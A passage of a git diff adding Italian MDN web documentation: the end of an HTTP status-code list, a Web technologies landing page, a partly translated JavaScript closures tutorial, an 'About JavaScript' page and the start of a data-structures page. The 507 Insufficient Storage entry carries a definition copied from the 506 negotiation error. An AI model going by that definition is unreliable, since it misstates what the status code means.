+ <dd>The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the <code>Retry-After:</code> HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.</dd>
+ <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt>
+ <dd>This error response is given when the server is acting as a gateway and cannot get a response in time.</dd>
+ <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt>
+ <dd>The HTTP version used in the request is not supported by the server.</dd>
+ <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt>
+ <dd>The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.</dd>
+ <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt>
+ <dd>The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.</dd>
+ <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>The server detected an infinite loop while processing the request.</dd>
+ <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt>
+ <dd>Further extensions to the request are required for the server to fulfill it.</dd>
+ <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt>
+ <dd>The 511 status code indicates that the client needs to authenticate to gain network access.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">List of HTTP status codes on Wikipedia</a></li>
+ <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li>
+</ul>
diff --git a/files/it/web/index.html b/files/it/web/index.html
new file mode 100644
index 0000000000..0973063ced
--- /dev/null
+++ b/files/it/web/index.html
@@ -0,0 +1,125 @@
+---
+title: Tecnologie web per sviluppatori
+slug: Web
+tags:
+  - Landing
+  - Techonology
+  - Web
+translation_of: Web
+---
+<section id="Quick_Links">
+<ol>
+ <li><strong><a href="/it/docs/Web">Tecnologie web per sviluppatori</a></strong></li>
+ <li class="toggle">
+  <details open><summary>Basi</summary>
+  <ol>
+   <li><a href="/it/docs/Web/HTML">HTML</a></li>
+   <li><a href="/it/docs/Web/CSS">CSS</a></li>
+   <li><a href="/it/docs/Web/HTTP">HTTP</a></li>
+  </ol>
+  </details>
+ </li>
+ <li class="toggle">
+  <details open><summary>Web scripting</summary>
+  <ol>
+   <li><a href="/it/docs/Web/JavaScript">JavaScript</a></li>
+   <li><a href="/it/docs/Web/API">Web API</a></li>
+   <li><a href="/it/docs/Web/Events">Eventi</a></li>
+   <li><a href="/en-US/docs/Web/Web_components">Componenti Web</a></li>
+  </ol>
+  </details>
+ </li>
+ <li class="toggle">
+  <details open><summary>Grafica</summary>
+  <ol>
+   <li><a href="/it/docs/Web/HTML/Canvas">Canvas</a></li>
+   <li><a href="/it/docs/Web/SVG">SVG</a></li>
+   <li><a href="/it/docs/Web/API/WebGL_API">WebGL</a></li>
+  </ol>
+  </details>
+ </li>
+ <li class="toggle">
+  <details open><summary>Altro</summary>
+  <ol>
+   <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+   <li><a href="/en-US/docs/WebAssembly">WebAssembly</a></li>
+   <li><a href="/en-US/docs/Web/MathML">MathML</a></li>
+   <li><a href="/en-US/docs/Web/XSLT">XSLT</a></li>
+   <li><a href="/en-US/docs/Web/EXSLT">EXSLT</a></li>
+   <li><a href="/en-US/docs/Web/XPath">XPath</a></li>
+  </ol>
+  </details>
+ </li>
+</ol>
+</section>
+
+<p>L'open Web rappresenta un'incredibile opportunità per gli sviluppatori. Per sfruttare al massimo queste tecnologie, devi sapere come utilizzarle. Qui troverai collegamenti alla nostra documentazione sulle tecnologie Web.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Tecnologie_Web">Tecnologie Web</h2>
+
+<h3 id="Basi">Basi</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/HTML">HTML</a></dt>
+ <dd>HyperText Markup Language è il linguaggio utilizzato per descrivere e definire il contenuto di una pagina Web in un formato ben strutturato.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/CSS">CSS</a></dt>
+ <dd>I Cascading Style Sheets sono utilizzati per descrivere l'aspetto dei contenuti Web.</dd>
+</dl>
+
+<h3 id="Scripting">Scripting</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript è il linguaggio di programmazione utilizzato nei browser, il quale viene utilizzato per realizzare siti Web interattivi e applicazioni eseguibili in modo sicuro dal browser.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/Reference/API">Web API</a></dt>
+ <dd>Materiale di riferimento per tutte le API che rendono possibile programmare il Web, compreso il <a href="https://developer.mozilla.org/it/docs/DOM">DOM</a> e tutte le API e le interfacce correlate che ti permettono di sviluppare contenuti e app Web.
+ <ul>
+  <li><a href="https://developer.mozilla.org/it/docs/Web/API" title="/it/docs/Web/API">Riferimento delle interfacce delle API Web</a> - tutte le interfacce, in ordine alfabetico.</li>
+  <li>La pagina <a href="https://developer.mozilla.org/it/docs/WebAPI">WebAPI</a> elenca le API per l'accesso ai dispositivi e altre API utili per lo sviluppo di applicazioni.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Grafica">Grafica</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/SVG">SVG</a></dt>
+ <dd>Scalable Vector Graphics consente di descrivere le immagini come insiemi di vettori e forme per permettere loro di ridimensionarsi facilmente a prescindere dalle dimensioni dell'immagine stessa.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/WebGL" title="/it/docs/Web/WebGL">WebGL</a></dt>
+ <dd>WebGL porta la grafica 3D sul Web fornendo delle API conformi a OpenGL ES 2.0 e che possono essere utilizzate all'interno dell'elemento HTML {{HTMLElement("canvas")}} .</dd>
+</dl>
+
+<h3 id="Altro">Altro</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/MathML">MathML</a></dt>
+ <dd>Mathematical Markup Language permette di mostrare sintassi ed equazioni matematiche complesse.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Documentazione_per_tipo">Documentazione per tipo</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/Guide">Guida dello sviluppatore Web</a></dt>
+ <dd>Fornisce istruzioni utili per aiutarti ad usare le tecnologie web per ottenere quello che vuoi o che devi fare.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/Tutorials">Tutorial per gli sviluppatori Web</a></dt>
+ <dd>Una lista di tutorial che ti guideranno passo passo nell'apprendimento delle API, delle tecnologie e di argomenti più vasti.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/Reference">Riferimenti</a></dt>
+ <dd><em>Questa pagina conterrà collegamenti a tutte le informazioni su MDN, ma per ora usa quelli della sezione di sinistra.</em></dd>
+</dl>
+
+<h2 id="Altri_argomenti">Altri argomenti</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/Apps">Sviluppare applicazioni Web</a></dt>
+ <dd>Documentazione per gli sviluppatori di applicazioni Web; le app Web si possono realmente sviluppare una volta sola e poi eseguire su <em>mobile</em>, desktop e Firefox OS.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web/Accessibility">Accessibilità</a></dt>
+ <dd>L'accessibilità nel contesto dello sviluppo Web significa permettere a più persone possibile di utilizzare i siti Web, anche quando le capacità di queste persone sono in qualche modo limitate. Qui troverai informazioni su come sviluppare contenuti accessibili.</dd>
+</dl>
+</div>
+</div>
+
+<p><span class="alllinks"><a href="https://developer.mozilla.org/it/docs/tag/Web">Vedi tutto...</a></span></p>
diff --git a/files/it/web/javascript/chiusure/index.html b/files/it/web/javascript/chiusure/index.html
new file mode 100644
index 0000000000..deee56e54b
--- /dev/null
+++ b/files/it/web/javascript/chiusure/index.html
@@ -0,0 +1,345 @@
+---
+title: Chiusure
+slug: Web/JavaScript/Chiusure
+translation_of: Web/JavaScript/Closures
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<div></div>
+
+<p class="summary">Una <strong>closure</strong> è la combinazione di una funzione e dello stato nella quale è stata creata (ambito lessicale). In altre parole, una <strong>closure</strong> consente a una funzione interna di accedere allo scope della funzione che la racchiude. In Javascript le <strong>closure</strong> sono create ogni volta che una funzione viene creata, al momento della creazione della funzione stessa.</p>
+
+<h2 id="Lexical_scoping">Lexical scoping</h2>
+
+<p>Considerate la seguente:</p>
+
+<div>
+<pre class="brush: js notranslate">function init() {
+  var name = "Mozilla"; // name è una variabile locale creata da init
+  function displayName() { // displayName() è una funzione interna, una chiusura
+    alert(name); // utilizza la variabile dichiarata nella funzione padre
+  }
+  displayName();
+}
+init();</pre>
+</div>
+
+<p><code>init()</code> crea una variabile locale <code>name</code> e poi una funzione chiamata <code>displayName()</code>. <code>displayName()</code> è una funzione interna che è definita dentro <code>init()</code> ed è disponibile solo all'interno del corpo di quella funzione. <code>displayName()</code> non ha proprie variabili locali. Tuttavia, poiché le funzioni interne hanno accesso alle variabili di quelle esterne, <code>displayName()</code> può accedere alla variabile <code>name</code> dichiarata nella funzione genitore, <code>init()</code> Tuttavia verrebbero usate le variabili locali in <code>displayName()</code>, se esistessero.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/78dg25ax/", "js,result", 200)}}</p>
+
+<p><a href="http://jsfiddle.net/xAFs9/3/" title="http://jsfiddle.net/xAFs9/">Esegui</a> il codice e verifica che funziona. Questo è un esempio di <em>lexical</em> <em>scoping</em>: in JavaScript, la visibilità (scope) di una variabile è definita dalla sua posizione all'interno del codice sorgente (si evince dal codice stesso [<em>lexically</em>]) e le funzioni innestate hanno accesso a variabili dichiarate nella funzione esterna (outer scope).</p>
+
+<h2 id="Closure">Closure</h2>
+
+<p>Considerate ora l'esempio seguente:</p>
+
+<pre class="brush: js notranslate">function makeFunc() {
+  var name = "Mozilla";
+  function displayName() {
+    alert(name);
+  }
+  return displayName;
+}
+
+var myFunc = makeFunc();
+myFunc();
+</pre>
+
+<p>L'esecuzione di questo codice ha esattamente lo stesso effetto dell'esempio precedente della funzione init():  la stringa "Mozilla" verrà visualizzata in una casella di avviso JavaScript. La cosa differente ed interessante, è che la funzione interna displayName() viene restituita dalla funzione esterna prima di essere eseguita.</p>
+
+<p>A un primo sguardo sembrerebbe controintuitivo che il codice funzioni ancora. In alcuni linguaggi di programmazione le variabili locali interne a una funzione esistono solo per la durata dell'esecuzione della funzione stessa. Una volta che <code>makeFunc()</code> ha terminato la propria esecuzione, ci si potrebbe aspettare che la variabile name non sia più accessibile. Tuttavia, poiché il codice funziona ancora, è ovvio che in JavaScript non è il caso.</p>
+
+<p>La ragione è che le funzioni in JavaScript formano closures. Una <em>closure </em>è la combinazione di una funzione e dell'ambito lessicale in cui questa funzione è stata dichiarata. In questo caso, <code>myFunc</code> è un riferimento all'istanza della funzione displayName creata quando <code>makeFunc</code> è eseguita.</p>
+
+<p>La soluzione di questo rompicampo è che <code>myFunc</code> è diventata una <em>closure</em>. Una closure è uno speciale tipo di oggetto che combina due cose: una funzione e l'ambito in cui questa è stata creata. L'ambito consiste in qualsiasi variabile locale che era nel suo scope nel momento in cui la closure è stata creata. In questo caso, <code>myFunc</code> è una <em>closure </em>che incorpora sia la funzione <code>displayName</code> che la stringa "Mozilla", già esistente quando la closure è stata creata.</p>
+
+<p>Ecco un esempio leggermente più interessante — una funzione <code>makeAdder</code>:</p>
+
+<pre class="brush: js notranslate">function makeAdder(x) {
+  return function(y) {
+    return x + y;
+  };
+}
+
+var add5 = makeAdder(5);
+var add10 = makeAdder(10);
+
+console.log(add5(2));  // 7
+console.log(add10(2)); // 12
+</pre>
+
+<p>In questo esempio, abbiamo definito una funzione <code>makeAdder(x)</code> che prende un singolo argomento <code>x</code> e restituisce una nuova funzione. La funzione restituita prende un singolo argomento <code>y</code>, e restituisce la somma tra <code>x</code> e <code>y</code>.</p>
+
+<p>In sostanza, <code>makeAdder</code> è una <em>factory function </em>— crea funzioni che possono aggiungere uno specifico valore come argomento. Nell'esempio sopra usiamo la nostra factory function per creare due nuove funzioni — una che aggiunge 5 ai suoi argomenti, e una che aggiunge 10.</p>
+
+<p><code>add5</code> e <code>add10</code> sono entrambe <em>closures</em>. Condividono la stessa definizione del corpo della funzione, ma memorizzano diversi ambienti. Nell'ambiente di <code>add5</code>, <code>x</code> vale 5. Per quanto riguarda <code>add10</code> , <code>x</code> vale 10.</p>
+
+<h2 id="Practical_closures">Practical closures</h2>
+
+<p>That's the theory of closures — but are closures actually useful? Let's consider their practical implications. A closure lets you associate some data (the environment) with a function that operates on that data. This has obvious parallels to object oriented programming, where objects allow us to associate some data (the object's properties) with one or more methods.</p>
+
+<p>Consequently, you can use a closure anywhere that you might normally use an object with only a single method.</p>
+
+<p>Situations where you might want to do this are particularly common on the web. Much of the code we write in web JavaScript is event-based — we define some behavior, then attach it to an event that is triggered by the user (such as a click or a keypress). Our code is generally attached as a callback: a single function which is executed in response to the event.</p>
+
+<p>Here's a practical example: suppose we wish to add some buttons to a page that adjust the text size. One way of doing this is to specify the font-size of the body element in pixels, then set the size of the other elements on the page (such as headers) using the relative em unit:</p>
+
+<pre class="brush: css notranslate">body {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 12px;
+}
+
+h1 {
+  font-size: 1.5em;
+}
+
+h2 {
+  font-size: 1.2em;
+}
+</pre>
+
+<p>Our interactive text size buttons can change the font-size property of the body element, and the adjustments will be picked up by other elements on the page thanks to the relative units.</p>
+
+<p>Qui c'è il codice JavaScript:</p>
+
+<pre class="brush: js notranslate">function makeSizer(size) {
+  return function() {
+    document.body.style.fontSize = size + 'px';
+  };
+}
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);
+</pre>
+
+<p><code>size12</code>, <code>size14</code>, and <code>size16</code> are now functions which will resize the body text to 12, 14, and 16 pixels, respectively. We can attach them to buttons (in this case links) as follows:</p>
+
+<pre class="brush: js notranslate">document.getElementById('size-12').onclick = size12;
+document.getElementById('size-14').onclick = size14;
+document.getElementById('size-16').onclick = size16;
+</pre>
+
+<pre class="brush: html notranslate">&lt;a href="#" id="size-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="size-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="size-16"&gt;16&lt;/a&gt;
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/","","200")}}</p>
+
+<h2 id="Emulare_metodi_privati_con_chiusure">Emulare metodi privati con chiusure</h2>
+
+<p>Languages such as Java provide the ability to declare methods private, meaning that they can only be called by other methods in the same class.</p>
+
+<p>JavaScript does not provide a native way of doing this, but it is possible to emulate private methods using closures. Private methods aren't just useful for restricting access to code: they also provide a powerful way of managing your global namespace, keeping non-essential methods from cluttering up the public interface to your code.</p>
+
+<p>Here's how to define some public functions that can access private functions and variables, using closures which is also known as the <a class="external" href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">module pattern</a>:</p>
+
+<pre class="brush: js notranslate">var counter = (function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  };
+})();
+
+console.log(counter.value()); // logs 0
+counter.increment();
+counter.increment();
+console.log(counter.value()); // logs 2
+counter.decrement();
+console.log(counter.value()); // logs 1
+</pre>
+
+<p>There's a lot going on here. In previous examples each closure has had its own environment; here we create a single environment which is shared by three functions: <code>counter.increment</code>, <code>counter.decrement</code>, and <code>counter.value</code>.</p>
+
+<p>The shared environment is created in the body of an anonymous function, which is executed as soon as it has been defined. The environment contains two private items: a variable called <code>privateCounter</code> and a function called <code>changeBy</code>. Neither of these private items can be accessed directly from outside the anonymous function. Instead, they must be accessed by the three public functions that are returned from the anonymous wrapper.</p>
+
+<p>Those three public functions are closures that share the same environment. Thanks to JavaScript's lexical scoping, they each have access to the <code>privateCounter</code> variable and <code>changeBy</code> function.</p>
+
+<p>You'll notice we're defining an anonymous function that creates a counter, and then we call it immediately and assign the result to the <code>counter</code> variable. We could store this function in a separate variable <code>makeCounter</code> and use it to create several counters.</p>
+
+<pre class="brush: js notranslate">var makeCounter = function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  }
+};
+
+var counter1 = makeCounter();
+var counter2 = makeCounter();
+alert(counter1.value()); /* Alerts 0 */
+counter1.increment();
+counter1.increment();
+alert(counter1.value()); /* Alerts 2 */
+counter1.decrement();
+alert(counter1.value()); /* Alerts 1 */
+alert(counter2.value()); /* Alerts 0 */
+</pre>
+
+<p>Notice how each of the two counters maintains its independence from the other. Its environment during the call of the <code>makeCounter()</code> function is different each time. The closure variable <code>privateCounter </code>contains a different instance each time.</p>
+
+<p>Using closures in this way provides a number of benefits that are normally associated with object oriented programming, in particular data hiding and encapsulation.</p>
+
+<h2 id="Creating_closures_in_loops_A_common_mistake">Creating closures in loops: A common mistake</h2>
+
+<p>Prior to the introduction of the <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let" title="let"><code>let</code> keyword</a> in ECMAScript 6, a common problem with closures occurred when they were created inside a loop. Consider the following example:</p>
+
+<pre class="brush: html notranslate">&lt;p id="help"&gt;Helpful notes will appear here&lt;/p&gt;
+&lt;p&gt;E-mail: &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;Name: &lt;input type="text" id="name" name="name"&gt;&lt;/p&gt;
+&lt;p&gt;Age: &lt;input type="text" id="age" name="age"&gt;&lt;/p&gt;
+</pre>
+
+<pre class="brush: js notranslate">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/", "", 200)}}</p>
+
+<p>The <code>helpText</code> array defines three helpful hints, each associated with the ID of an input field in the document. The loop cycles through these definitions, hooking up an onfocus event to each one that shows the associated help method.</p>
+
+<p>If you try this code out, you'll see that it doesn't work as expected. No matter what field you focus on, the message about your age will be displayed.</p>
+
+<p>The reason for this is that the functions assigned to <code>onfocus</code> are closures; they consist of the function definition and the captured environment from the <code>setupHelp</code> function's scope. Three closures have been created, but each one shares the same single environment. By the time the <code>onfocus</code> callbacks are executed, the loop has run its course and the item variable (shared by all three closures) has been left pointing to the last entry in the <code>helpText</code> list.</p>
+
+<p>One solution in this case is to use more closures: in particular, to use a function factory as described earlier on:</p>
+
+<pre class="brush: js notranslate">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+  return function() {
+    showHelp(help);
+  };
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+  }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/1/", "", 300)}}</p>
+
+<p>This works as expected. Rather than the callbacks all sharing a single environment, the <code>makeHelpCallback</code> function creates a new environment for each one in which <code>help</code> refers to the corresponding string from the <code>helpText</code> array.</p>
+
+<h2 id="Performance_considerations">Performance considerations</h2>
+
+<p>It is unwise to unnecessarily create functions within other functions if closures are not needed for a particular task, as it will negatively affect script performance both in terms of processing speed and memory consumption.</p>
+
+<p>For instance, when creating a new object/class, methods should normally be associated to the object's prototype rather than defined into the object constructor. The reason is that whenever the constructor is called, the methods would get reassigned (that is, for every object creation).</p>
+
+<p>Consider the following impractical but demonstrative case:</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+  this.getName = function() {
+    return this.name;
+  };
+
+  this.getMessage = function() {
+    return this.message;
+  };
+}
+</pre>
+
+<p>The previous code does not take advantage of the benefits of closures and thus could instead be formulated:</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype = {
+  getName: function() {
+    return this.name;
+  },
+  getMessage: function() {
+    return this.message;
+  }
+};
+</pre>
+
+<p>However, redefining the prototype is not recommended, so the following example is even better because it appends to the existing prototype:</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype.getName = function() {
+  return this.name;
+};
+MyObject.prototype.getMessage = function() {
+  return this.message;
+};
+</pre>
+
+<p>Il codice sopra può essere riscritto meglio in un modo più pulito, con lo stesso risultato:</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+    this.name = name.toString();
+    this.message = message.toString();
+}
+(function() {
+    this.getName = function() {
+        return this.name;
+    };
+    this.getMessage = function() {
+        return this.message;
+    };
+}).call(MyObject.prototype);
+</pre>
+
+<p>In the two previous examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation. See <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Details of the Object Model</a> for more details.</p>
diff --git a/files/it/web/javascript/cosè_javascript/index.html b/files/it/web/javascript/cosè_javascript/index.html
new file mode 100644
index 0000000000..c850023b92
--- /dev/null
+++ b/files/it/web/javascript/cosè_javascript/index.html
@@ -0,0 +1,57 @@
+---
+title: Cos'è JavaScript
+slug: Web/JavaScript/Cosè_JavaScript
+translation_of: Web/JavaScript/About_JavaScript
+---
+<div>{{JsSidebar}}</div>
+
+<h2 id="Cos'è_JavaScript">Cos'è JavaScript?</h2>
+
+<p><strong>JavaScript</strong><sup>®</sup> (spesso abbreviato con <strong>JS</strong>) è un linguaggio di programmazione, interpretato, orientato agli oggetti  con  <a href="https://en.wikipedia.org/wiki/First-class_functions" title="https://en.wikipedia.org/wiki/First-class_functions">first-class functions</a>,  ed è meglio conosciuto come linguaggio di scripting client-side per pagine web, nonostante questo è anche utilizzato in molte applicazioni<a class="external" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">non solamente basate sul web</a>. Il linguaggio è <a class="mw-redirect" href="https://en.wikipedia.org/wiki/Prototype-based_programming" title="Prototype-based">prototype-based</a>,  è  dinamico, imperativo, e il offre uno stile di programmazione funzionale.</p>
+
+<p>JavaScript viene eseguito direttamente lato "client-side" della pagina web e può essere utilizzato per dare un design e stabilire il comportamento delle pagine web quando viene scatenato una particolare evento da parte dell'utente. JavaScript è semplice da apprendere e nello stesso tempo rappresenta un linguaggio che permette un controllo quasi totale sulla pagina web.</p>
+
+<p>Contrariamente alla concezione popolare, JavaScript non è "Java Interpretato". JavaScript è un linguaggio di scripting dinamico che supporta la costruzione degli oggetti basata su <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-Based_vs._Prototype-Based_Languages" title="en-US/docs/JavaScript/Guide/Details_of_the_Object_Model#Class-Based_vs._Prototype-Based_Languages">prototype</a>. La sintassi base è intenzionalmente basata su entrambi i maggiori e più conosciuti linguaggi, C++ e Java e questo ha permesso la riduzione di nuovi concetti per lo studio del linguaggio. Costrutti del linguaggio come if, cicli <code>for </code>e  <code>while, </code><code>switch </code>e <code>blocchi</code> <code>try ... catch </code>hanno il medesimo significato in questi linguaggi.</p>
+
+<p>JavaScript permette di programmare sia in modo <a href="https://en.wikipedia.org/wiki/Procedural_programming">procedurale</a> sia in <a href="/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">orientato agli oggetti</a>. Gli oggetti vengono creati a livello di programmazione in JavaScript, allegando metodi e proprietà agli oggetti altrimenti vuoti in fase di esecuzione, in contrasto con le definizioni di classe sintattiche comuni linguaggi compilati come C ++ e Java. Una volta che un oggetto è stato costruito può essere utilizzato come modello (o prototipo) per creare oggetti simili.</p>
+
+<p>JavaScript permette la costruzione a runtime di oggetti, elenchi di parametri, funzioni come variabili, pemette la creazione di script dinamici (tramite <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval</a></code>), permette di esaminare a runtime tipo e proprietà di un oggetto (tramite <code>for ... in</code>), e il recupero del codice sorgente ( i programmi JavaScript possono decompilare parti di funzione e mostrarne il codice sorgente all'interno del codice sorgente stesso).</p>
+
+<p>Per una più esaustiva trattazione del linguaggio JavaScript consulta il seguente link <a href="#JavaScript_resources">JavaScript resources</a>.</p>
+
+<h2 id="Quali_implementazioni_del_linguaggio_JavaScript_sono_disponibili">Quali implementazioni del linguaggio JavaScript sono disponibili?</h2>
+
+<p>Il progetto Mozilla fornisce due implementazioni JavaScript. Il primo JavaScript è stato creato da Brendan Eich a Netscape, e da allora è stato aggiornato per conformarsi alle ECMA-262 Edition 5 e versioni successive. Questo motore, nome in codice <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a>, è implementato in C / C ++. Il motore di <a href="/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a>, creati principalmente da Norris Boyd (anche lui a Netscape) è una implementazione JavaScript scritto in Java. Come SpiderMonkey, Rhino è ECMA-262 Edition 5 compatibile.</p>
+
+<p>Diverse ed importanti ottimizzazioni sono state aggiunte, come TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) e IonMonkey al motore SpiderMonkey JavaScript nel corso del tempo. Il lavoro è sempre in corso per migliorare le prestazioni di esecuzione di JavaScript.</p>
+
+<p>Oltre alle implementazioni di cui sopra, ci sono molti altri popolari motori JavaScript, quali: -</p>
+
+<ul>
+ <li><a class="external" href="https://code.google.com/p/v8/" title="https://code.google.com/p/v8/">V8</a> di Google, che viene utilizzato nel browser Google Chrome e nelle versioni recenti del browser Opera. <a class="external" href="https://code.google.com/p/v8/" title="https://code.google.com/p/v8/">V8</a> è anche il motore utilizzato per <a href="http://nodejs.org">Node.js</a>.</li>
+ <li><a class="external" href="https://www.webkit.org/projects/javascript/index.html" title="https://www.webkit.org/projects/javascript/index.html">JavaScriptCore</a>(SquirrelFish / Nitro) utilizzato in alcuni browser WebKit, come Safari di Apple.</li>
+ <li><a class="external" href="http://my.opera.com/ODIN/blog/carakan-faq" title="http://my.opera.com/ODIN/blog/carakan-faq">Carakan</a> nelle vecchie versioni di Opera.</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29" title="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> utilizzato in Internet Explorer (anche se il linguaggio che implementa è formalmente chiamato "JScript" al fine di evitare problemi legati al marchio).</li>
+</ul>
+
+<p>Ognuno dei motori JavaScript di Mozilla espone una API pubblica per gli sviluppatori e questa viene utilizzata per integrare JavaScript nella loro software. Di gran lunga, l'ambiente host più comune per JavaScript e lo stesso browser web. I browser Web utilizzano in genere l'API pubblica di JavaScript per la gestione e la visualizzazione della struttura <a class="external" href="http://www.w3.org/DOM/">DOM</a> delle pagine web.</p>
+
+<p>Un'altra applicazione comune  per cui possiamo utilizzare JavaScript è come linguaggio di scripting lato server. Un server web JavaScript esporrebbe oggetti  che rappresentano una richiesta HTTP e oggetti di risposta, che possono successivamente essere manipolati da un programma JavaScript per generare dinamicamente pagine web. <a href="http://nodejs.org">Node.js</a> è un esempio popolare di questo.</p>
+
+<h2 id="Risorse_JavaScript">Risorse JavaScript</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a></dt>
+ <dd>Informazioni specifiche riguardanti l'implementazione del motore scritto in C / C ++ (aka SpiderMonkey), compreso il modo di incorporare nelle applicazioni.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a></dt>
+ <dd>Informazioni specifiche riguardanti l'implementazione del motore scritto in Java (aka Rhino).</dd>
+ <dt><a href="/it/docs/Web/JavaScript/Language_Resources">Risorse sul linguaggio</a></dt>
+ <dd>Informazioni sugli standard del linguaggio JavaScript.</dd>
+ <dt><a href="/it/docs/Web/JavaScript/Una_reintroduzione_al_JavaScript">Re-Introduzione a JavaScript</a></dt>
+ <dd><a href="/it/docs/Web/JavaScript/Guida" title="en-US/docs/JavaScript/Guide">Guida JavaScript</a> e <a href="/it/docs/Web/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript Reference</a>.</dd>
+</dl>
+
+<p>JavaScript® è un marchio registrato di Oracle negli U.S. e in altri paesi.</p>
diff --git a/files/it/web/javascript/data_structures/index.html b/files/it/web/javascript/data_structures/index.html
new file mode 100644
index 0000000000..a056282b0d
--- /dev/null
+++ b/files/it/web/javascript/data_structures/index.html
@@ -0,0 +1,444 @@
+---
+title: Tipi di dato e strutture in JavaScript
+slug: Web/JavaScript/Data_structures
+tags:
+  - Guide
+  - JavaScript
